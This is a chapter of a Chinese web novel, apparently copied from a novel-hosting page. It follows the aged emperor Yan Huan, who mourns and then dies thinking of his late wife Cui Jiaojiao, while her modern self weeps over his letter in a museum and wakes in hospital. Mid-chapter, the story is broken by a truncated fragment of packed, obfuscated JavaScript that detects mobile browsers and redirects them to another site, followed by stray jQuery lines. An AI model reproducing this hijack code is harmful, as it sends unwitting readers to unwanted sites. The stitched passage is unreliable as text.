午后，阎涣执意要去藏书阁。


    侍从们抬着步辇，穿过三道宫门才到地方，阁内檀香氤氲，数十排书架整齐排列，最中央的紫檀木案上，供着一套装帧精美的《明月传》。


    “拿第三卷来。”


    苍老的声音在空荡的阁内回响，当值学士小心翼翼取下那本指定的卷册，翻开，正是《元珍皇后救驾》一章。泛黄的纸页上，绘着崔姣姣挡剑的瞬间，素白的衣裙绽开如花。


    阎涣的指尖悬在画像上方，终究没敢触碰。


    这六十年间，他命画师绘制了三百余幅崔姣姣的画像，让史官记录她每一句说过的话，甚至复原了她改良过的每一道药方，可记忆里的笑靥，还是随着岁月越来越模糊。


    “陛下…不，太上皇…”


    老学士突然跪下，恭敬道：


    “国子监新编的《列女传》，将元珍皇后列为卷首了。”


    阎涣点了点头，嘴角微微扬起，窗外春光正好，一缕穿过窗棂，照在画像旁的小字上：


    “崔氏瓷，字姣姣，夏太祖元后，月还元年四月薨，年十九。”


    三月初，阎涣突然提出，要回夏州。


    新任皇帝阎兆亲自来劝，却见祖父已吩咐了下人将一切收拾好，只等启程了。


    “祖父！您怎能独自回夏州，太医说您…”


    阎兆跪在老人面前劝阻着，声音发颤。


    阎涣却只是笑了笑，抬手抚过孙子紧绷的肩线，道：


    “怕什么，人终有一死的。”


    “我这一生，弑君夺位，血洗朝堂，最后却能寿终正寝，已是老天开恩。”


    他说得轻描淡写，却见孙子红了眼眶。


    是啊，如今世人只记得他励精图治的三十年帝王生涯，谁还记得那个双手沾血的千岁侯。


    除了…那个早已长眠的姑娘。


    “祖父不是坏人。”


    阎兆固执地说，像在反驳某个看不见的人。


    “您减免赋税，开创科举，百姓都…”


    阎涣笑着打断他的话：


    “好人坏人，哪是那么容易分清的。”


    阎涣的目光落在远处，不知是在和谁说着：


    “祖父原本也怕世人将我看成坏人，可我的妻子说过，人这一生，总要爱上一个坏人。”


    “从此，我便愿意做这个坏人。”


    龙辇行过官道时，沿途杨柳依依，阎涣靠在窗边，看田间农人弯腰插秧，这是自己年轻时提出的新耕法，如今已传遍大江南北。


    阎涣回到夏州阎府那日，正值初夏。


    马车缓缓驶过青石板铺就的街道，车轮碾过缝隙间冒出的青草，发出细微的声响。九十八岁的老者掀开车帘，浑浊的目光扫过街道两侧高大的庭院。


    七十年前离开时，这些房屋还是略旧的，如今天下太平、世道安稳，这里变得更加崭新、生机勃勃。


    抬眼，只见远处阎府那棵老槐树依旧挺拔如昔。


    “太上皇，到了。”


    随从小心翼翼地搀扶他下车。


    阎涣摆摆手，自己拄着紫檀木拐杖站稳。阳光透过槐树繁茂的枝叶，在他布满老年斑的脸上投下细碎的光影。他仰头望去，树干粗得需三人合抱，树皮沟壑纵横，像极了他脸上岁月的痕迹。


    “父亲当年亲手种下这棵树时，说它很快就会长得比朕粗壮。”


    阎涣低声自语，枯瘦的手指抚过树干上的一道旧疤，低声说着：


    “这还是朕儿时爬树留下的。”


    庭院里，新铺的鹅卵石硌着他的鞋底，阎涣却走得很稳。他拒绝了侍从搬来的藤椅，直接坐在槐树裸露的树根上。


    树根隆起如龙脊，正好托住他佝偻的背。


    “都退下吧。”


    他挥退众人，从怀中掏出一方褪色的绢帕。初夏的风带着槐花香拂过庭院，几片白色花瓣落在他肩头，又滑落到膝头摊开的绢帕上。


    人这一辈子，总要爱上一个坏人。


    阎涣忽然想起崔姣姣说这话时的模样，十六岁的少女仰着脸，眼睛里盛着他看不懂的情绪。


    而在千年之后，崔姣姣偷偷溜出病房，只为赶上正在举办的夏朝历史博物展。


    一件件精美的瓷器在她身侧被掠过，那些出土的饰品、器具琳琅满目，许多人都驻足拍摄，可她却漫无目的，不知道该停在哪一件物品前。


    忽然，远远地，崔姣姣看见了最深处的大厅内，正中间的玻璃展柜里，放着一张不起眼的信笺。


    她鬼使神差地挪动脚步走过去，恰好听见解说员的声音在身侧传来：


    “这一张信纸呢，是夏始帝阎涣生前写给妻子的一封思念的信，根据专家鉴定，应该是阎涣在登基后不久写下的。信纸薄脆，却能保存至今，足以见得夏始帝有多珍惜这封写给妻子的亲笔，他死后，孙子阎兆更是遵循了祖父的遗愿，将信纸随葬陵寝。”


    “我们都说纸短情长，可夏始帝却只用八个字写出对妻子的怀念、不舍，以及对失去妻子的痛苦，也可以看得出，他心中的悲伤之情已经大到难以言表。”


    “好了，大家往这边走，我们看下一个，这个是当时…”


    人群随着导游移动而去，只剩崔姣姣一人站在那封最不值钱的信纸前，一滴泪砸在展柜玻璃上，映出玻璃罩下的小字标注：


    “月还七十三年，与太祖同椁而葬。”


    她将湿润的眼眸再次抬起，忍着哽咽注视着信纸上的字：


    “姣姣爱妻，何日履约？”


    何日履约…


    而字的下面，是大片干涸的泪痕，深深浸入纸页，让字迹的收尾处模糊不清。


    没有人知道，千年的光阴正同步发生着，看着那再熟悉不过的字体，崔姣姣甚至能够透过这一封信，看见爱人执笔书写时的无奈和委屈。


    她怔怔地看着，指尖不自觉地贴上玻璃，仿佛这样就能触碰到五百年前那个人落下的泪。


    那是阎涣的泪。


    她就这样离开了，留他一人在千年前的岁月里默默垂泪，孤守山河。


    雨声渐歇，窗外透进一缕微光，落在展柜上。那滴泪痕在光线下微微发亮，像是跨越了五百年的时光，终于等到了该看它的人。


    “将离。”


    “我走后，你是怎么过下去的呢。”


    她喃喃道。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198791|172205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >回到夏州后，不知是否身在故乡心情更舒畅些，阎涣的气色好了不少。


    他让人把藤椅摆在树下，他便这样静静躺着，春日的暖阳透过枝叶，在他枯瘦的手背上投下斑驳的光影。侍从们远远站着，听见老人时而喃喃自语，时而轻笑，像是在和谁对弈。


    “姣姣。”


    他眯着眼看向树梢新绿，低声道：


    “你说的长命百岁，我算是做到了。”


    一阵风过，槐花如雪飘落，阎涣安静地感受着舒服的阳光和微风，恍惚间，仿佛又回到了二十八岁，初遇崔姣姣的那一年。


    数日后，阎兆收到太上皇病重的消息，百里赶着到了祖父身侧，惊恐地看着祖父平静地躺在床榻上，呼吸异常平稳。当御医赶到时，夏始帝的手仍紧握着那方旧绢帕，仿佛握着七十年前那个少女温热的手指。


    太医把脉后，几乎整个人都陷在地里，阎兆倒吸了一口气，他知道，这一天还是来了。


    “姣姣啊…”


    老人叹息般的呼唤着，不再理会屋内的任何人。


    他看见她了，终于，他的妻子终于肯出现在他的梦里了。七十年来，他无数次梦见那双眼睛，却怎么都模糊不清，好像崔姣姣刻意要他遗忘自己似的。


    梦里，她还是年轻时的模样，而他有时是二十八岁的千岁侯，有时又是六十岁的皇帝。唯有她，永远停在十九岁的春天。


    暮色渐浓，槐树的影子拉得很长，阎涣突然感到一阵熟悉的疼痛从心口蔓延，他知道，时候到了。


    七十年来，他平叛乱、定边疆、治洪水，做了无数明君该做的事，却始终忘不了崔姣姣倒在他怀里的重量。


    那年他三十岁，铠甲上还沾着敌人的血，而她用尽最后力气，只是摸了摸他脸上的伤口。


    “姣姣。”


    九十八岁的阎涣小心翼翼地开口问着：


    “你如今还觉得我是个坏人吗？”


    晚风骤起，槐花如雪纷飞。


    最后一抹黑暗被阳光吞噬，天光自远方撕破苍穹时，阎涣缓缓合上了眼睛。


    姣姣，我还是没再见到你。


    次日清早，丧钟响彻夏州城，一代明帝就此长辞。


    丧仪全部结束后，年轻的皇帝回到新都，坐在祖父曾生活过的房内独自忍者呜咽，他红着眼眶抬头，看见书架上整齐排列着《明月传》的不同版本，整整六十年的光阴，祖父把对祖母的爱都凝在这些纸墨之间。


    窗外，春夜的星河格外明亮，一颗流星划过天际，坠向北方，那里有边上种着流苏树的陵寝，地下睡着阎涣最爱的人，碑上刻着“夏太祖元珍皇后崔瓷字姣姣之墓”。


    与此同时，千里之外的现代医院。


    崔姣姣猛地睁开眼睛，监护仪发出尖锐的警报声。


    消毒水的气味冲入鼻腔，刺眼的白炽灯让她本能地抬手遮挡，她这才想起来，自己从博物馆回到医院后，由于心情起伏过大，几乎是哭晕了过去。


    她的手背上连着输液管，一本《奸佞》从被单滑落，“啪”地掉在地上。


    “病人醒了！快去叫陈医生！”


    护士惊喜的呼喊从房门口传来。